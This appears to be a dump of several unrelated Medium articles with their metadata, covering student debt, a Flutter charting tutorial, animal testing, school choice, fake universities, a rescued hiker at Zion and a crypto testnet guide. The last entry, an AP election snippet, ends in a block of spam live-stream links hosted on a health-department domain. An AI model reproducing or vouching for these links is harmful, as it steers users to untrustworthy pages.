If, as I have suggested, Biden’s reticence is ideologically motivated, then a successful argument would likely need to underscore the history of student debt—or, more specifically, the common-sense notion that education is a private investment.
First, Americans need to understand that the student debt “crisis” is not a failure of individuals but rather the result of decisions made by political elites which made taking out loans the only viable option for students looking to enroll in college. The second, though far more difficult task is rearticulating higher education not in terms of its potential economic payoffs but its social value. In other words, the common-sense assumption that a college degree is, above all else, a form of human capital must be contested.
In “Vocabularies of the Economy,” Doreen Massey describes how part of the reason this neoliberal class offensive has been so efficacious is that corporate and political elites have successfully naturalized language surrounding “the economy”; in turn, naturalizing markets as the only proper way of conducting social affairs and removing them from the realm of political contestation. This process has ultimately rid us of our collective capacity to imagine a different order.
More specifically, she argues that:
The extent to which these ideas, this ideological scaffolding (of neoliberal capitalism), currently infuse the hegemonic common sense is astonishing. The assumption that markets are natural is so deeply rooted in the structure of thought … that even the fact that this is an assumption seems to have been lost to view. This is real hegemony.
However, even more critically is the degree to which terms like “investment” or “growth” have permeated our collective language to describe human behavior. It is now a common-sense idea that we should all be “investing in ourselves,” “growing professionally,” “building our brand,” and so forth — the idea being that we should always be making ourselves marketable to would-be investors (our bosses, job recruiters, internet audiences, etc.), and which a college education becomes a chief means of satisfying this task.
Jettisoned during this process is our capacity to engage in a valuation process that does not adopt monetary grammar as its means of analysis. Accepting these terms means implicitly accepting our existing order as “normal” and, thus, outside the realm of politics. And accepting this “existing vocabulary,” as Massey contends, “is one of the roots of the elite’s ability to maintain the horrible straitjacket we are in.” | https://medium.com/3streams/what-will-it-take-for-joe-biden-to-cancel-student-loan-debt-11edd6ba30c0 | ['Jared Clemons'] | 2021-12-28 05:12:16.438000+00:00 | ['Biden', 'Debt', 'Higher Education', 'Students', 'Student Loans'] |
Data Visualization Widgets for Flutter | If you are a mobile app developer and love to use the Flutter framework, you’ll be thrilled to know that the beta version of the Syncfusion Flutter Charts package is available on pub.dev.
The Syncfusion Flutter Charts package is a data-visualization library written natively in Dart for creating beautiful and high-performance charts for high-quality mobile app user interfaces for iOS and Android using the Flutter framework. It allows users to plot data and render customized chart types with seamless interactions and responsively smooth animations.
Syncfusion Flutter Charts
What is Flutter?
Flutter is Google’s mobile app development SDK that has widgets and tools for creating natively compiled cross-platform mobile applications from a single code base. Flutter has the following advantages over other cross-platform, mobile app development frameworks:
* Fast development cycle: With stateful hot reload, you can repaint the app live without building it again.
* Single code base: Use a single code base to build applications in iOS and Android.
* Flexible UIs and widgets: A wide range of widgets and tools are available for building flexible apps.
* Native performance: The framework provides complete native support, even for scrolling, navigation, icons, and fonts.
* Open source: Flutter is open source and available to use or study free of cost.
Flutter charts features
Syncfusion Flutter charts are rich in features, including functionality for rendering Cartesian charts and Circular charts. They are completely customizable and extendable, and their feature list will expand aggressively in upcoming updates. Have a look at the following current features.
Chart types
The chart widget includes functionality for plotting 12 series types:
Syncfusion Flutter Chart Types
Each chart type is easily configured with built-in support for creating stunning visual effects. You can add any number of series to the chart. Features like markers, data labels, data label builder, animation, gradient fill, dashes, sorting, and annotations are easy to incorporate and customize.
Axis types
Plot any type of data in a graph with the help of three axes types:
* Numeric
* Category
* Date-time
Chart Axis Types
Axis features like label intersecting, edge label placement, label rotation, axis opposition, inverse axis, and multiple axis allow users to further customize axis elements to make an axis more readable.
Legend
Display additional information about a chart series with the help of a legend. The chart legend can also be used to collapse the series. Legends can be wrapped or scrolled if items exceed the available bounds.
Syncfusion Flutter Chart with Legend
User interaction
User experience is greatly enhanced by the following interaction features:
* Zooming and panning
* Crosshairs
* Trackballs
* Drilling down
* Events
* Selection
* Tooltips
User Interaction in Syncfusion Flutter Charts
Dynamic updates
A chart can be updated dynamically with live data that changes in seconds, like stock prices, temperature, speed (i.e. data points or series can be added or removed from the rendered chart dynamically). Also, the entire data source of the chart can be completely replaced.
We plan to add even more chart types, as well as richer charts, in future releases.
Add Flutter Charts to your app
This section explains how to create a simple chart and demonstrates basic chart usage.
Add dependency
Add the Syncfusion Flutter Charts dependency to your the pubspec.yaml file.
dependencies: syncfusion_flutter_charts: ^1.0.0-beta.3
Get packages
Run the following command to get the required packages.
$ flutter pub get
Import package
Import the following package in your Dart code.
import 'package:syncfusion_flutter_charts/charts.dart';
Add a chart to the widget tree
Add the chart widget as a child of any widget. Here, add the chart widget as a child of the container widget.
@override Widget build(BuildContext context) { return Scaffold( body: Center( child: Container( child: SfCartesianChart( ) ) ) ); }
Bind data source
Based on your data, initialize the appropriate axis type and series type. In the series, you need to map the data source and the fields for x and y data points. Since we are going to render a line chart with a category axis, I have initialized those.
@override Widget build(BuildContext context) { return Scaffold( body: Center( child: Container( child: SfCartesianChart( primaryXAxis: CategoryAxis(), // Initialize category axis. series: <LineSeries<SalesData, String>>[ // Initialize line series. LineSeries<SalesData, String>( dataSource: [ SalesData('Jan', 35), SalesData('Feb', 28), SalesData('Mar', 34), SalesData('Apr', 32), SalesData('May', 40) ], xValueMapper: (SalesData sales, _) => sales.year, yValueMapper: (SalesData sales, _) => sales.sales ) ] ) ) )
);
} class SalesData { SalesData(this.year, this.sales); final String year; final double sales; }
Add chart elements
Finally, add Syncfusion Flutter Charts elements such as a title, legend data labels, and tooltips to display additional information about data plotted in the chart.
@override Widget build(BuildContext context) { return Scaffold( body: Center( child: Container( child: SfCartesianChart( primaryXAxis: CategoryAxis(), title: ChartTitle(text: 'Half yearly sales analysis'), //Chart title. legend: Legend(isVisible: true), // Enables the legend. tooltipBehavior: ChartTooltipBehavior(enable: true), // Enables the tooltip. series: <LineSeries<SalesData, String>>[ LineSeries<SalesData, String>( dataSource: [ SalesData('Jan', 35), SalesData('Feb', 28), SalesData('Mar', 34), SalesData('Apr', 32), SalesData('May', 40) ], xValueMapper: (SalesData sales, _) => sales.year, yValueMapper: (SalesData sales, _) => sales.sales, dataLabelSettings: DataLabelSettings(isVisible: true) // Enables the data label. ) ] ) ) ) ); }
Thus, the previous code renders the chart seen in the following image.
Explore Flutter chart examples and demos
* You can see Syncfusion’s Flutter app with many examples in this GitHub location.
* Additionally, take a look at our demo app in the Play Store.
If you want an in-depth learning experience on how to create a complete Flutter app, be sure to read Flutter Succinctly by Ed Freitas. It’s part of Syncfusion’s library of free technical ebooks.
Upcoming development plans
Next, we plan to implement Scheduler, and Circular Gauge widgets in Flutter, and add chart types and usability features in the Charts widget.
We prioritize our development features and widgets based on developers’ needs; hence, if you would like us to add a new widget, or if you have questions about our Flutter charts, please let us know in the comments section of this post. You can also contact us through our support forum, Direct-Trac, or feedback portal. This helps us prioritize the next set of controls and features to implement.
Conclusion
In this blog post, we walked through our new Syncfusion Flutter Charts widget and discussed our future plans. We invite you to try out the widget and provide your feedback to make it more robust before it’s a final release. As always, we are happy to assist you! | https://medium.com/syncfusion/data-visualization-widgets-for-flutter-be1338adbe94 | ['Suresh Mohan'] | 2019-08-08 11:01:01.292000+00:00 | ['Android', 'Flutter', 'iOS', 'Charts', 'Data Visualization'] |
Millions of Animals Die in Labs Each Year | Perspective Piece
Millions of Animals Die in Labs Each Year
Photo by Lorna Ladril on Unsplash
It’s no secret that animals are used as test subjects in labs. But, just how far is the reach of animal testing? And is it necessary? Can the number of deaths be reduced?
Over 100 million animals face cruelty and die in labs each year. They are mutilated, poisoned, and slaughtered by the crate load in experiments, most of which require multiple trials.
If the death toll alone isn’t enough to make you concerned about animal testing, here is a list of other reasons why you should be.
Here are six reasons why you should be concerned about the continued practice of animal testing.
It’s not just rodents.
The harsh truth is that many people like to think of the rodent as a throwaway type of animal, the kind that can be tested on. And those who conduct the tests can be absolved from guilt. They are seen as pests and are, therefore, suitable for experiments. While I disagree with this sentiment, allow me to appeal to those with this mindset.
Though rodents (primarily rats and mice) make up the majority of the animals used as test subjects, they are not the type of animal used. Cats, dogs, and reptiles are victims of the cruelty as well.
Yes, our beloved household pets!
Picture a Beagle lapping up some water after a long walk. Cute right?
Now picture one in a lab being forced to drink pesticide. Not so cute right?
The term “lab rat” is thrown around loosely when such subjects as lab work and experimentation are brought up, further pushing the false idea or assumption that it’s just rats that are being tested on.
Among the animals experimented upon are primates, dogs, cats, guinea pigs, horses, reptiles, pigs, and more.
Not all the tests are used for scientific breakthroughs.
Some of them are used to test cosmetics, like makeup, perfumes, nail polish, etc. After being used to assess such seemingly trivial products, the animals are almost always killed.
You’d be surprised at how many companies and brands use or fund the use of this method.
The results are often unreliable.
Ninety-two percent of experimental drugs that pass the animal tests fail in human clinical trials. Why?
There are substances that do not have major effects on certain animals but can be detrimental to humans and vice versa.
A very basic example of this is chocolate. Most humans can consume chocolate without having any problems, but for dogs and some species of cats, chocolate can be poisonous, even deadly.
The same can be said about diseases and illnesses. Some are even specific to certain animals. For example, Bovine Babesiosis is a huge threat to cattle, but the chances of an everyday person catching it and being affected by it are slim to none. It’s so small of a threat to humans that it’s nowhere near being a concern in the public human health consciousness.
The short answer to why the results are often so unreliable is simply that we’re different. Our makeup is different. Expecting the results to be the same for both humans and animals is taking a gamble — a gamble that is currently costing millions of lives.
There are cruelty-free alternatives.
There are multiple alternatives to animal testing such as:
Using computerized human biology simulations and conducting virtual drug trials
Using model organs that mimic actual organs
Microdosing, which is when humans are given low quantities of a drug to test its effects on the cells
It is important that we hold the companies, universities, researchers, etc. who have the ability to use these methods accountable for not doing so.
It places a price on life and a cheap one at that.
Even if a product happens to be harmful to an animal, it can still be marketed. So is there really a point in doing the experiments at all? Are they just done so that companies can check off the box saying they did them? Life, here, is literally just being thrown away.
We must think about how much we value life. Do animals need to be massacred and mutilated for our eyeshadow palettes and fancily scented soaps?
The animals are suffering. They are in pain.
Many people brush off the issue of animal cruelty because they figure that they are just animals. Well, those animals can feel, and they can suffer.
Animals are living and breathing creatures with blood, nervous systems, and organs. They do feel pain when chemicals are being dripped into their eyes, and they do feel it when they are being chemically burned and dragged out of their cells.
Pain is undeniably what the animals endure throughout the experiments. And they rarely receive any relief before their deaths.
How can we fix this?
Minimizing your contribution to companies that use or fund animal testing is an easy way to protest animal testing in your everyday life. Another way to help is to be vocal about the issue and tell others around you about the cruelty of animal testing. Receiving vocal concerns from the masses and losses of profits could push these companies to rethink and change their cruel methods for testing their products. | https://medium.com/creatures/millions-of-animals-die-in-labs-each-year-c14840095bb6 | ['Aysia C.'] | 2020-12-14 01:07:33.323000+00:00 | ['Animal Rights', 'Animals', 'Pets', 'Creative', 'Science'] |
Reading Notes 1 for The 7 Secrets of the Prolific | Almost everyone has lived with procrastination in their life, more or less. If you personify your procrastination, how would you picture he/she/them? I imagine my procrastination to be a couch potato—a middle-aged man who has given up every hope in life. However, Hillary Rettig’s personification is vastly different in this book. She believes that procrastination is a rebellious, passionate teenage girl who fights against your inner bully/critic. Procrastination is your protector against unjust demands and unrealistic expectations.
Her imagination persuades me this book is not like other self-help books that simply boost you up with positivity or lip-service. “This might be something that actually works!” I murmur to myself.
Her first principle is to acknowledge that you have real problems that stop you from doing what you plan to do. These problems can be external and internal, but they are all real problems. Instead of labeling yourself as LAZY/WEAK/LOSER, Rettig recommends you to list out all the problems you have and start to address them. For me, PTSD and depression is a huge issue that is shadowing every part of my life. I realize I was being a brutal bully to keep demanding myself on my top productivity while I was struggling with mental disorders intensified by the current political climate.
Perfectionism is the reason why I bully myself ruthlessly. This perfectionism is not just a psychological tendency but also a shared social ethos in a society that prioritizes productivity over life, product over process, and success over failure. Nevertheless, Rettig wrote, “there is no such thing as a pure failure or success: that most failures contain some element of success (at least, as a learning experience), and most successes an element of failure or compromise. … that failure and success are not huge, show-stopping, life-defining events but merely transient states” (Section 2.12).
From now on, I will work to heal from perfectionism. I will not belittle myself as “useless” in front of the smallest failures, nor will I brag to be “in control of everything” when I reached my goals. I will focus my energy on the process of doing things, whether it is writing, working, running, or hanging out with friends. Let life itself be the only end, and the rest be its side products. | https://medium.com/@changruwen/reading-notes-for-the-7-secrets-of-the-prolific-a4baa7f54e49 | ['Ruwen Chang'] | 2020-09-04 15:12:13.521000+00:00 | ['Procrastination', 'Reading Notes', 'Perfectionism', 'Mindfulness'] |
What can the Nation’s Report Card tell us about school choice? | What can the Nation’s Report Card tell us about school choice?
By Katie Linehan
The National Assessment for Educational Progress (NAEP) is a biannual measurement of student learning in core academic subjects and is the only barometer to compare student achievement across all 50 states and the District of Columbia. This week’s release of the 2017 results tell us not much has changed since 2015; as a country, student performance remains stagnant. However, two leaders in the school choice movement — Washington D.C., where nearly 50% of students are enrolled in charter schools, and Florida, home to the largest scholarship tax credit program in the country — defy national trends.
Once a low performer, Florida now performs near the top on NAEP. And the achievement gaps that persist elsewhere between white students and students of color, as well as low-income students and their wealthier peers, have narrowed significantly. Though the District of Columbia remains a low achiever when compared to other states, a review of past NAEP performance speaks to significant growth across demographic subgroups in the nation’s capital. From 2005 to 2017, black student performance in fourth grade reading improved by 20 points in D.C. Students who are eligible for free or reduced lunch saw similar gains. (According to Educational Testing Service, 12 points on the NAEP equates to one year of learning.)
Of the roughly 60 million children attending primary or secondary schools today, nearly half a million in 26 states and D.C. participate in private school choice programs, and another three million attend public charter schools. Though in high demand by families, entrenched special interests continue to work to curtail growth of successful school choice programs. And, although private school students do participate in NAEP, the choice program participant data is not disaggregated. So, while we are limited in using NAEP to draw conclusions about the effectiveness of specific choice policies, results from D.C. and Florida speak to the erroneousness of any claim that school choice hurts traditional public schools.
As the results released this week confirm, in most parts of the country, little has changed in the last decade. That’s just one reason why families in every state should be empowered to choose a school that works best for their child and why we should emulate and grow the success of popular — and effective — choice programs like those in Florida and D.C. | https://medium.com/american-federation-for-children/what-can-the-nations-report-card-tell-us-about-school-choice-3358583d22b2 | ['American Federation For Children'] | 2018-04-13 17:58:34.492000+00:00 | ['Naep', 'Advocacy', 'Education', 'School Choice'] |
Review of Visual Introduction to Algorithms | Review of Visual Introduction to Algorithms RaceCondition Follow Jan 3 · 4 min read
Online learning has been on a tear as the world chugs towards digization and the 2020 pandemic has put the Ed-tech industry growth on steriods. In the crowded market, one company differentiating its offerings from the rest of the pack is Educative.io — its courses on fundamental, advanced and niche computer science topics allow learners to execute code and applications from within the browser. We recently had the opportunity to review the course: A Visual Introduction to Algorithms listed at Educative.io and wanted to share our review of it so that you can decide if it’s worth your time or not. Read on our $0.02.
To give you a brief overview of what is in store for you if you do decide to take on this course, it is a derivative of Algorithms by Dartmount Computer Science professors Thomas Cormen and Devin Balkcom and also of the Khan Academy computing curriculum team. The estimated completion time of this course is about 14 hours as listed by Educative.
Right off the bat, our initial impressions were that this is a course which would be better suited to a newbie as it is a beginner level course, or to someone who is looking to change careers and shift to Computer Science. This course can also be a good guide to someone who needs a refresher on the basics of algorithms but we would not recommend this to those who are already pursuing a career in Computer Science. In this course, you learn introductory Computer Science algorithms along with binary search, asymptotic notation (which includes Big-Theta notation, Big-O notation and Big-Omega notation), selection sort, insertion sort, merge sort, quick sort, graphs and much more.
This course offers an easy to learn template with plenty of videos, challenges, quizzes and coding environments (with multiple programming languages like Java, Python, C++, JS etc) which makes it easy to understand each topic and apply in practise as you get to learn the concepts interactively in contrast to dry book reading.
This course will help you with entry level jobs and job interviews only, so don’t expect any high-end return from it. However, this is a great first step in the professional ladder that you are about to climb in the Computer Science field and this course will act as a prerequisite to many of the advanced Computer Science courses that you may be planning to take in the near future. You have to start somewhere and this is a great course to start off with. It can not only help you in interviews but also can help you perform well in your tech-career.
There are 60 detailed lessons in which there are videos explaining each and every lesson with examples. There are 2 quizzes, 70 coding challenges, 11 code snippets, 11 playgrounds and 166 illustrations.
Simply sign up and start learning, no need to setup, install or wait for long annoying downloads to complete. It is all in the cloud so it is accessible from virtually anywhere. Also, with the option to write and run the code from the browser, it makes it extremely practical, making it an all-in-one learning platform.
At the end of the course there is also a completion certificate and you can apply for it and share it on your LinkedIn profile.
Oh, and did we mention it is free? Yes, for the time being, this course is free at Educative.io. So, this makes an excellent resource with zero investment required.
There are many similar courses on the web such as; Introduction to Algorithms in JavaScript(Udemy), Intro to Algorithms(Udacity) and Algorithms part 1 (Coursera), however, none of these courses offer as much value as A Visual Introduction to Algorithms does as these are either too long or too time consuming.
Other than this, if you are interested in learning a bit more about algorithms, there are plenty of similar courses on Educative.io. such as; Data Structures & Algorithms in Python and Mastering Data Structures and Sorting Algorithms in JavaScript.
Furthermore, if you want to learn about interview courses, we have a separate blog on them. You can click here to check them out.
Although the course in this review is free, most Educative.io. courses are not. There is no need to worry though as there are ways in which you can get courses at cheap prices. Click here to find out more.
Conclusion
A Visual Introduction to Algorithms at Educative.io. is a course that is definitely worth your while. It offers a great learning experience and can definitely help you in any entry level job in the Computer Science field. | https://medium.com/double-pointer/review-of-visual-introduction-to-algorithms-360f524d9c8d | [] | 2021-01-03 00:06:03.622000+00:00 | ['Tech', 'Bootcamp', 'Programming', 'Coding', 'Technology'] |
Degrees of deception: Fake university held ‘graduation ceremonies’ in Kuwait | Dozens of students received worthless degrees at “graduation” ceremonies in Kuwait
Following the discovery that a Kuwaiti government minister who uses the title “Doctor” had got his PhD from a bogus university, more dodgy degrees among the Gulf state’s citizens have come to light.
Videos posted on YouTube show “graduation” ceremonies in Kuwait where dozens of people received certificates issued by the so-called American University of London (AUOL).
Fraudulent qualifications are a growing problem in the Middle East. For some they offer a short cut to a well-paid job while for others they are a way of acquiring social status.
Kuwait has been cracking down on the sale of forged certificates but forgery is only one part of the problem. There are also countless unrecognised “universities” — often consisting of little more than an office and a website — which purport to offer real degrees. Many of them operate from western countries but make a point of seeking out students in the Middle East.
Their certificates are essentially worthless, however. Without official recognition and proper accreditation there’s no guarantee of educational standards. A major part of their sales pitch is that they offer more flexibility than recognised universities. That means students can study remotely and at their own pace but it also means “experience” can be counted towards a degree, thus reducing the amount of academic work to be done or even eliminating it entirely. An investigation by the BBC’s Newsnight programme, for example, found it was possible to buy a degree from AUOL without any studying at all.
AUOL is one of six self-proclaimed “American universities” operating in Britain that are known to have issued unrecognised degrees: the others are the American University London, the American University for Leaders, the European American University, the British American University and the American International University of Management and Technology. There’s also a real one — Richmond, The American International University in London — whose degrees are recognised.
Minister’s doctorate
Earlier this month the Kuwaiti government circulated biographical notes about its newly-appointed housing minister, “Dr” Abdullah Abdul-Samad Marafie. These showed he had acquired the “Doctor” title through a PhD from the American University in London (AUL) which at the time was located above a betting shop in the Holloway district.
A year before Marafie obtained his doctorate AUL had been prosecuted and fined for what magistrates described as “substantial deception” — misleading students into thinking they would be gaining an accredited university degree.
UAL has since changed its name to “American University for Leaders” and moved to Uxbridge on the outskirts of London. To avoid further legal problems its current prospectus has a cautionary note at the bottom of page four: “We are not a British university,” it says. “Nor do we offer British qualifications.”
Ceremonies in Kuwait
Meanwhile, the American University London (AUOL) lists on its website hundreds of “distinguished graduates” over the last 20 years. Although it doesn’t give their nationalities, the vast majority have names suggesting they are from Arab or Muslim countries.
In April 2013 AUOL held a graduation event in Kuwait which is recorded in a series of three videos. One of them shows the opening ceremony with a procession of students wearing mortarboards and gowns with gold trimmings. Another shows the presentation of certificates and the third video is a speech by AUOL’s president, Michael Nimier.
In addition to the Kuwaitis who received degrees there were also two people from Dubai described as “VIP graduates”.
Another set of videos ( here, here, and here) shows a similar “graduation” ceremony which took place in Kuwait in 2011.
The 2011 “graduation” ceremony in Kuwait
Degrees at a distance
In common with most other unrecognised universities AUOL offers degrees through “distance learning”. Teaching materials are provided online, so there’s no need for students to leave their home country.
It’s unlikely, therefore, that many of them have tried visiting AUOL at the London address on its website. If they did so they would find themselves outside a small shop in the Old Brompton Road where AUOL has a mailbox.
AUOL uses this shop in London as its address for correspondence
By resorting to distance learning, fake universities avoid the expense of a physical campus, with the result that they can charge lower fees than real universities. Some fake universities have an additional outlet for their degrees through affiliation arrangements with privately-run colleges in other countries — which is what appears to have happened in Kuwait.
Distance learning has a particular appeal to students from disadvantaged backgrounds who want to gain a qualification while earning an income at the same time. It can be a valid form of education and many countries have officially-recognised “open” universities where much of the teaching is online.
However, a lot depends on the way it is done. In the case of fake universities distance learning can be less about educating people and more about countering any impression they are simply selling degrees.
One of the defining characteristics of fake universities is that a flexible attitude to academic work is part of their sales pitch, and their publicity makes clear that short cuts are available.
Students at AUOL, for instance, can obtain a degree either by completing a series of modules or by writing a thesis/dissertation. In conventional universities, they are expected to defend their thesis in an oral examination but AUOL says it “normally” dispenses with that, so long as the candidate’s supervisor agrees.
MBA degree for a dog
AUOL also offers “Accreditation of Prior Experiential Learning” which, according to its website, takes into account professional and work experience and “may include paid or unpaid work, courses attended, leisure pursuits and hobbies”.
The website states that this applies only to students over 25 who have worked for at least three years, and the experience should be relevant to the field of study.
In practice, though, AUOL’s rules can be a lot more generous than its website suggests, as BBC reporters discovered when they applied for a Master’s degree in business administration on behalf of a dog.
They pretended the dog was a management consultant and submitted a one-page CV which included 15 years of fictitious work experience plus a non-existent undergraduate degree.
Although the instructions said applicants had to include photocopies of their previous qualifications, this proved unnecessary, and AUOL clearly didn’t bother checking the claims made in the CV. Nor, as it turned out, was there any need for a thesis, dissertation or other academic work.
Four days later an email came back saying the application had been approved on the basis of previous “experiential learning” and AUOL would register the degree within a couple of weeks once the £4,500 fee had been paid. | https://brian-whit.medium.com/degrees-of-deception-fake-university-held-graduation-ceremonies-in-kuwait-5753279136c5 | ['Brian Whitaker'] | 2020-12-28 11:11:15.698000+00:00 | ['University', 'Kuwait', 'Distance Learning'] |
UPDATE: Mother Who Mysteriously Vanished at Zion National Park Found Alive | Holly Courtier with her daughter Kailey Chambers prior to Holly’s disappearance on October 6, 2020, in Zion National Park.
Utah authorities were desperately searching for missing mother Holly Courtier, 38, who vanished in Zion National Park. She was last seen at approximately 1:30 p.m., on October 6, 2020.
Holly Courtier went missing while hiking to the Emerald Pools at Zion National Park in Utah.
Holly rode a private shuttle to the Grotto parking area and intended to hike the Kayenta Trail, headed to Emerald Pools, and was scheduled to be picked up at 4:40 p.m. She never showed.
Holly’s family reported her missing two days later. Authorities began their search on October 9, 2020, and found her vehicle in a neighboring town.
Her survival looked dim after 12 days, but the miraculous happened. Search and rescue crews found Holly on Sunday after a visitor at the park told rangers that they saw her in the park.
Kailey Chambers, Holly’s daughter, told CBS Los Angeles that her mom had lost her job as a nanny due to the pandemic and had planned on traveling the country in a van she converted into a camper.
Holly left her phone in California and she left no itinerary or mention of her travel plans.
“I just want to bring her home because I feel she is hurt and can’t get the help she needs,” her daughter Kailey told Inside Edition while sobbing.
To keep the public updated, Kailey Chambers posted a picture on Facebook of them at Zion National Park a few weeks before her mother’s disappearance
With frequent posts on Facebook, and talking to news reporters, Kailey Chambers kept the public updated about her mother’s disappearance in Zion.
“I refuse to give up on her because I know she wouldn’t give up on me,” Kailey told People. “If this were reversed, I know she would give everything to save me. I’m willing to the same.”
Kailey had her prayers answered on Sunday, October 18, 2020, when her mother emerged from the park, along with family.
An official at Zion told the Salt Lake Tribune that Holly was able to leave the park, but no made no other comments about where she was found or her condition.
Photo of Holly Courtier. Courtesy of FindHolly.com.
A statement from the family on HelpFindHolly.com was released on their website.
“We are overjoyed that she was found safe today. We would like to thank the rangers and search terms who relentlessly looked for her day and night and never gave up hope. We are also grateful to the countless volunteers who were generous with their time, resources, and support. This would have been possible without the network of people who came together.”
Zion park officials had partnered with K-9 Units from the Utah Division of Wildlife Resources and rescue crews from Washington County and Washington County Sheriff’s Office, using canine, aerial searches, and drones.
Officials had held a press conference on October 13 and said the good weather increases the odds of survival.
Searchers out in Zion National Park searching for Holly Courtier who vanished on October 6, 2020. Photo courtesy of Forest Service.
One of Holly’s four sisters, Jillian Courier-Oliver, told ABC’s Good Morning America that Holly remains hospitalized Monday morning. “She had lost a lot of weight and had bruises all over her body, “ said Jillian. “She hasn’t [eaten] since then at all. She’s had very little water, we found out.”
Jillian told the news show that bringing Holly home was her “only goal,” since her sister went missing — but she had started to lose hope in the past several days.
“Basically they [park officials] said today or Monday was going to be the last that rangers could be involved and help us,” said Jillian.
Jillian went out searching for her sister over the weekend and seeing the rough terrain, thought, “How could she be alive through this?”
“It wasn’t until two days ago I actually said, ‘I’m starting to lose hope,’” Jillian said to the ABC reporter. “They had a lot of cadaver dogs out and I knew what they were looking for was a body, not a person. It was the first time I actually started losing hope. And I went with up with so much help knowing that we needed to find her.”
A GoFundMe page was updated indicating over $10,800 has been raised but to continue sharing to help with medical costs in the days moving forward as Holly has no medical insurance.
“We are all just overwhelmed and grateful,” friend Kelly Kaufman told CNN. | https://kympasqualini.medium.com/daughter-searches-for-missing-mother-who-mysteriously-vanished-at-zion-national-park-932e9e80b775 | ['Kym L Pasqualini'] | 2020-10-27 21:12:50.490000+00:00 | ['Mystery', 'True Story', 'True Crime', 'Crime', 'Missing Persons'] |
Laura Manipura | Laura Manipura
About the Author
Canva
Laura Manipura is a former librarian, currently trying to bust through the myth of the starving artist through her work on the blogging platform, Medium. As she is deeply analytical and detail-oriented, she is often called upon for editing projects. She has a gift for clarity and imagines that she would be good at writing technical manuals.
Her writing journey began with reading as a young child. Her mother has this to say, “You were always a voracious reader. When you were at the Day School, your class was often taken to the bookmobile. The other kids were amazed at the huge pile of books you checked out. You had so many that the boys had to help you carry them.”
She submitted her first story to a publisher at the age of 12 and was rewarded with a kind rejection letter. She would go on to win yearly English awards in high school. She had wanted to major in Creative Writing & English but then decided psychology would be more practical. When she graduated, she took a job as a waitress.
A few years later, she returned to school and received a master’s in Library Science. It was a good fit in many ways. To start with, there were books everywhere! Books to classify, organize, weed, and serve up vital information. Contrary to popular belief, Laura would like you to know that librarians do not sit around reading all day. Well, not why they are on the clock anyway!
Laura enjoyed teaching the students how to use the library databases and how to research and write papers. She got quite excited teaching the intricacies of keyword searching and so, was teaching SEO before SEO was a thing.
After a long dry spell, she took up writing poetry when introduced to the works of Hafiz and Rumi while attending “Praise Jam.” At praise jam, people would come together to perform music and read poetry out loud. Here, she found a voice. The shy librarian spoke. And, she found she had a knack for it. She could see how others were touched by her reading and her ego was deliciously fed. She would go home late at night and stay up late writing poetry that spoke of love, pain, and yearning.
She is currently working on a series of essays about the work of Kahlil Gibran’s The Prophet. Always a creatrix, she is also starting a new publication to celebrate books and writers; titled From the Library. | https://medium.com/from-the-library/laura-manipura-ca3b4b09f22f | ['Laura Manipura'] | 2019-12-15 02:35:11.573000+00:00 | ['Books', 'Writing', 'Writers On Writing', 'Ftl Bio', 'Writers On Medium'] |
tidal wave | the tide flows in
steady in hand
from the same water
a storm becomes
to churn out the sand
bursting through the mouth
of rivers made from flames past
running blind
toward the beat of tricks
left unhashed
a fool stands behind
as it rages on
once it is done
the fool will run
seek the treasures
left in front
the water begins to cease
for a moment it believes
crashed too soon
upon the wrong shore
fearing the flames
of fools who came too far with claims
only one more moments pass
then the tide rolls out
the depths confirm
it came to land at its place in turn
unforgotten will be the fool
as the tide flows in
to turn one more | https://medium.com/@wordofniks/tidal-wave-d76753dba57c | ['Nik Levi'] | 2020-12-01 18:42:46.070000+00:00 | ['Creative Writing', 'Daily Devotion', 'New York City', 'Tidal Wave', 'Poetry On Medium'] |
XSN Lightning Swaps (Testnet) Guide | Hello and welcome to a Stakenet Tutorial Guide.
In this guide, we will explain how to conduct your first Lightning Swap on the XSN and Litecoin (LTC) Testnet. I have tried to make this guide as simple as possible and will mainly consist of copy and pasting commands, however; we would advise that you have some working knowledge of using an Ubuntu VPS such as setting up a Masternode or TPoS server.
We will be implementing a one-click solution within our upcoming wallet so the average user is able to use it without the below steps as it will be implemented and automated by the wallet.
If you are a little tech savvy and want to help with the testing of this technology then please proceed and let us know any issues or bugs you come across.
Requirements for testing the Lightning Swap:
First things first, to be able to run the test, you will require the following: | https://medium.com/stakenet/xsn-atomic-swaps-testnet-guide-dc1b5addf0e8 | ['Stakenet Team'] | 2018-11-02 22:42:12.956000+00:00 | ['Stakenet', 'Xsn', 'Technical Documentation', 'Atomic Swaps', 'Bitcoin'] |
The Latest: Biden clears 270-vote threshold to be president | WASHINGTON (AP) — The Latest on the Electoral College meeting (all times local):
Electors are gathering in 50 states and the District of Columbia on Monday to formally vote for the next president. Most states have laws binding their electors to the winner of the popular vote in their state. Democrat Joe Biden won the Nov. 3 election with 306 Electoral College votes, while President Donald Trump finished with 232. It takes 270 Electoral College votes to win the presidency.
http://www.cgcohealthdept.com/rxw/jp-x-bowl-jp-tv-xxxiv01.html
http://www.cgcohealthdept.com/rxw/jp-x-bowl-jp-tv-xxxiv02.html
http://www.cgcohealthdept.com/rxw/jp-x-bowl-jp-tv-xxxiv03.html
http://www.cgcohealthdept.com/rxw/jpn-v-x-bowl-tv-cst5.html
http://www.cgcohealthdept.com/rxw/jpn-v-x-bowl-tv-cst4.html
http://www.cgcohealthdept.com/rxw/jpn-v-x-bowl-tv-cst3.html
http://www.cgcohealthdept.com/rxw/jpn-v-x-bowl-tv-cst2.html
http://www.cgcohealthdept.com/rxw/jpn-v-x-bowl-tv-cst1.html
http://www.cgcohealthdept.com/rxw/jpn-v-x-bowl-tv-cst9.html
http://www.cgcohealthdept.com/rxw/jpn-v-x-bowl-tv-cst8.html
http://www.cgcohealthdept.com/rxw/jpn-v-x-bowl-tv-cst7.html
http://www.cgcohealthdept.com/rxw/jpn-v-x-bowl-tv-cst6.html
http://www.cgcohealthdept.com/rxw/fu-jit-su-livstream02.html
http://www.cgcohealthdept.com/rxw/video-fu-jit-su-liv01.html
http://www.cgcohealthdept.com/rxw/video-fu-jit-su-liv03.html
http://www.cgcohealthdept.com/rxw/video-fu-jit-su-livstream.html
http://www.cgcohealthdept.com/rxw/x-bowl-live01.html
http://www.cgcohealthdept.com/rxw/x-bowl-nhk-liv-1.html
http://www.cgcohealthdept.com/rxw/x-bowl-nhk-liv-2.html
http://www.cgcohealthdept.com/rxw/x-bowl-nhk-liv-3.html
http://www.cgcohealthdept.com/rxw/x-bowl-nhk-liv-4.html
http://www.cgcohealthdept.com/rxw/x-bowl-nhk-liv-5.html
